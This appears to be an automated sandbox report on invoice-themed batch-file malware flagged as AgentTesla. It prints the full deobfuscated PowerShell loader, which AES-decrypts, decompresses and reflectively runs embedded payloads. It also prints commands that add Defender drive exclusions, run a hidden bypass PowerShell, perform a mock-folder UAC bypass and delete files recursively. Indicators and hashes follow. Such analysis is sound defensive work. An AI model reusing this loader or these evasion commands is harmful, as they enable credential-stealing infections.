'')([byte[]]$param_var); $IjeaD=$bGuEF.EntryPoint; $IjeaD.Invoke($null, $param2_var);}$QcPvT = 'C:\Users\Admin\AppData\Local\Temp\InvoiceConfirmation3.bat';$host.UI.RawUI.WindowTitle = $QcPvT;$IZHJg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QcPvT).Split([Environment]::NewLine);foreach ($obaKw in $IZHJg) { if ($obaKw.StartsWith('WMpdAaneLcTpTiRReCou')) { $wlgPh=$obaKw.Substring(20); break; }}$payloads_var=[string[]]$wlgPh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c call SC.cmd
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSf4SfWusxtAoXnZPWK7HVx3v2wBNCa20+NeGFjqXZU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0aLcTPofevxAgYIfoL8llg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Qsygn=New-Object System.IO.MemoryStream(,$param_var); $VECRT=New-Object System.IO.MemoryStream; $UXUkR=New-Object System.IO.Compression.GZipStream($Qsygn, [IO.Compression.CompressionMode]::Decompress); $UXUkR.CopyTo($VECRT); $UXUkR.Dispose(); $Qsygn.Dispose(); $VECRT.Dispose(); $VECRT.ToArray();}function execute_function($param_var,$param2_var){ $bGuEF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IjeaD=$bGuEF.EntryPoint; $IjeaD.Invoke($null, $param2_var);}$QcPvT = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $QcPvT;$IZHJg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QcPvT).Split([Environment]::NewLine);foreach ($obaKw in $IZHJg) { if ($obaKw.StartsWith('WMpdAaneLcTpTiRReCou')) { $wlgPh=$obaKw.Substring(20); break; }}$payloads_var=[string[]]$wlgPh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.12.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 205.12.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.83.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 152.107.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| NL | 23.62.61.155:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 155.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.179.89.13.in-addr.arpa | udp |
Files
memory/4612-0-0x00007FFD3E3E3000-0x00007FFD3E3E5000-memory.dmp
memory/4612-1-0x0000022AEF5E0000-0x0000022AEF602000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k54snzee.h4k.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4612-11-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/4612-12-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/4612-13-0x0000022AF1CD0000-0x0000022AF1D14000-memory.dmp
memory/4612-14-0x0000022AF1DA0000-0x0000022AF1E16000-memory.dmp
memory/4612-15-0x0000022AEF670000-0x0000022AEF680000-memory.dmp
memory/4612-17-0x00007FFD5A7B0000-0x00007FFD5A86E000-memory.dmp
memory/4612-16-0x00007FFD5C6B0000-0x00007FFD5C8A5000-memory.dmp
memory/4612-18-0x0000022AF1D20000-0x0000022AF1D86000-memory.dmp
memory/2352-19-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/2352-29-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/2352-30-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/2352-33-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | d25a9e160e3b74ef2242023726f15416 |
| SHA1 | 27a9bb9d7628d442f9b5cf47711c906e3315755b |
| SHA256 | 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c |
| SHA512 | bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910 |
C:\Windows \System32\MLANG.dll
| MD5 | e286ada1af4b08fa4b7c78f862883c4e |
| SHA1 | 798ebc7b7cd3db667f1a59ade299be4cff397f39 |
| SHA256 | 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3 |
| SHA512 | fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5 |
C:\Users\Admin\AppData\Local\Temp\SC.cmd
| MD5 | af29b01f9517f84f7d1794a3c5a987d5 |
| SHA1 | 17f8776ea38c0eb07915cf1ab4e52a2c87ec70cd |
| SHA256 | 18ff8049e5eac05d3f1bf7d414664845edd76f5393630aa463566476e45b9985 |
| SHA512 | 29afff43ff59985eb4d65463cf7b8eaa6a82ae508cce66222707cab084d25bed77a45b7f85ec13e91545827f76bde014794b7ccf77f0df44b815df6b8d76953d |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/4792-56-0x00007FFD5A7B0000-0x00007FFD5A86E000-memory.dmp
memory/4792-55-0x00007FFD5C6B0000-0x00007FFD5C8A5000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2e907f77659a6601fcc408274894da2e |
| SHA1 | 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d |
| SHA256 | 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233 |
| SHA512 | 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721 |
memory/4792-70-0x000002A2D1F50000-0x000002A2D1F92000-memory.dmp
memory/4612-71-0x00007FFD3E3E0000-0x00007FFD3EEA1000-memory.dmp
memory/4792-72-0x000002A2D2030000-0x000002A2D2080000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win7-20231129-en
Max time kernel
118s
Max time network
121s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2332 wrote to memory of 1676 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 1676 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 1676 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 1680 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 1680 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 1680 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2332 wrote to memory of 2148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2332 wrote to memory of 2148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2332 wrote to memory of 2148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Network
Files
memory/2148-11-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
memory/2148-10-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
memory/2148-9-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
memory/2148-8-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
memory/2148-7-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
memory/2148-6-0x0000000001F70000-0x0000000001F78000-memory.dmp
memory/2148-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp
memory/2148-4-0x000007FEF5EAE000-0x000007FEF5EAF000-memory.dmp
memory/2148-12-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-03 06:09
Reported
2024-06-03 06:11
Platform
win10v2004-20240508-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
AgentTesla
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | ip-api.com | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c call SC.cmd
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| NL | 23.62.61.72:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 72.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ipify.org | udp |
| US | 104.26.12.205:443 | api.ipify.org | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.12.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 224.162.46.104.in-addr.arpa | udp |
Files
memory/1632-0-0x00007FFA75253000-0x00007FFA75255000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13pfr5z0.lqk.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1632-6-0x000001EBE41F0000-0x000001EBE4212000-memory.dmp
memory/1632-11-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/1632-12-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/1632-13-0x000001EBE4700000-0x000001EBE4744000-memory.dmp
memory/1632-14-0x000001EBE47D0000-0x000001EBE4846000-memory.dmp
memory/1632-15-0x000001EBE41E0000-0x000001EBE41F0000-memory.dmp
memory/1632-16-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp
memory/1632-17-0x00007FFA91E30000-0x00007FFA91EEE000-memory.dmp
memory/1632-18-0x000001EBE4750000-0x000001EBE47B6000-memory.dmp
memory/3084-19-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/3084-20-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/3084-30-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/3084-33-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | d25a9e160e3b74ef2242023726f15416 |
| SHA1 | 27a9bb9d7628d442f9b5cf47711c906e3315755b |
| SHA256 | 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c |
| SHA512 | bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910 |
C:\Windows \System32\MLANG.dll
| MD5 | e286ada1af4b08fa4b7c78f862883c4e |
| SHA1 | 798ebc7b7cd3db667f1a59ade299be4cff397f39 |
| SHA256 | 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3 |
| SHA512 | fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5 |
C:\Users\Admin\AppData\Local\Temp\SC.cmd
| MD5 | 1952a79579272db52a814baf57821f90 |
| SHA1 | 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3 |
| SHA256 | e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1 |
| SHA512 | 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
memory/2804-56-0x00007FFA91E30000-0x00007FFA91EEE000-memory.dmp
